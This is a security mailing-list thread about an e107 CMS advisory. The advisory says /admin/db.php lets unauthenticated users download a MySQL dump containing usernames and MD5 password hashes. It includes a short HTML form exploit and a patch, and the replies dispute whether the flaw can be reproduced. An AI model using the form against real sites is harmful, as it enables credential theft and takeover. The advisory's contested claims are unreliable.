Advisory Name: e107 website system Vulnerability

Author: hiruvim <artoor@exfloyt.com>

Discover by: hiruvim <artoor@exfloyt.com>

Website vendor : http://e107.org

Affected System(s): All versions

Severity: High

Platform(s): Windows and Unix

Issue: Security holes enable attackers to get MySQL dump file with
users and passwords.

==================================================
Details:

In file /admin/db.php
........................
require_once("../class2.php");

if(IsSet($_POST['dump_sql'])){
getsql($mySQLdefaultdb);
exit;
}

[....]
require_once("auth.php");

........................

We can do dump_sql without authorization.

Exploit:

<form action="http://victim.org/admin/db.php">
<input type=submit name="dump_sql">
</form>

When pressed submit query button we will get MySQL dump file.

In dump file we will find username and passwd MD5 hash.

With admin password we can get full site control and access to
FileManager.



Vendor: Not contacted yet.

Patch:

in /admin/db.php

Before doing anything you will need tomove "require_once("auth.php");"
to the top of the file.

Sorry for my poor english

Artoor,

First off, I ask as a concerned party as I use this software quite a bit
and for the fact that the vendor wasn't contacted before a 'High'
severity issue was release to the wild.

I'm currently unable to reproduce this at all. When I try the exploit
code as provided against e107 (version v0.551beta, not even the latest
version) it takes me to the admin's login page, which doesn't appear to
be a problem to me. This report says all versions of e107, however as
can be seen that is not the case. The latest version (v0.555beta) does
not have this vuln either (as I just upgraded my site to make sure it
wasn't still present). Did you by chance have 'Auto-Login' set for your
admin user on the PC you were testing from, or were you authenticated to
an e107 site as admin already without hitting 'Logout'?

As I said, more info on this would be great since as far as I can tell
this is a not an issue at all or I am just too dense to make the exploit
work as described.

Thanks,
Tim.

Heh, I every site that i've come across running the e107 portal seems to ask
for admin login before you could use this exploit...Are you sure all
versions are vulnerable? Doesn't even work on my own system without asking
for login.

See: http://e107.org/news.php

If you post the dump_sql variable with method POST, it'll work.

The db_dump code is protected against non-logged in users as are all
admin functions. If a registered member with full admin permissions (not
any admin, it -has- to be the main site admin who installed e107 in the
first place) is not seen then the login page is displayed. This has
always been the case, however if anyone is worried about this in any way
delete the db.php file in your /admin directory and use phpMyAdmin or
similar to perform database backups.
